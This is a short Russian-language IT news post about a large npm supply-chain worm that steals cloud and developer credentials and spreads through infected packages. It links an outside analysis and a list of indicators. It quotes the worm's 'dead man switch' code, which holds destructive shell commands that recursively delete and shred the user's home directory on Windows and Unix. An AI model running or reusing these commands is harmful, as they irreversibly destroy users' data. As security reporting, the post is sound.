Вредонос работает как червь, заражая пакеты пострадавшего разработчика. Но самое интересное — он содержит dead man switch, который может удалить пользовательские данные, если каналы распространения будут перекрыты.
После заражения вредонос крадёт с рабочей станции данные аутентификации для GitHub, npm, AWS, GCP и Azure и передаёт их в контролируемые хакерами GitHub-репозитории.
GitLab уже выпустил очень хорошую статью с разбором кода вредоноса, подробно объясняя, что он делает:
https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/
(если хотите мой перевод с пояснениями — дайте знать)
Полный список заражённых пакетов можно найти здесь:
https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv
Что отличает эту атаку от прошлых?
1. Масштаб — более 800 заражённых пакетов, включая не только модули для организаций, но и самостоятельные пакеты, а также модули для React.
2. Dead man switch — при отсутствии доступа одновременно к GitHub и npm вредонос пытается уничтожить домашнюю директорию пользователя:
// DESTRUCTION TRIGGER: No GitHub AND no NPM access
console.log("Error 12");
if (platform === "windows") {
// Attempts to delete all user files and overwrite disk sectors
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S \"%USERPROFILE%*\" && " +
"for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
"cipher /W:%USERPROFILE%" // Overwrite deleted data
]);
} else {
// Attempts to shred all writable files in home directory
Bun.spawnSync(["bash", "-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
"find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
]);
}
process.exit(0);
Как говорится: никогда такого не было — и вот опять.
Stay safe.
#itnews
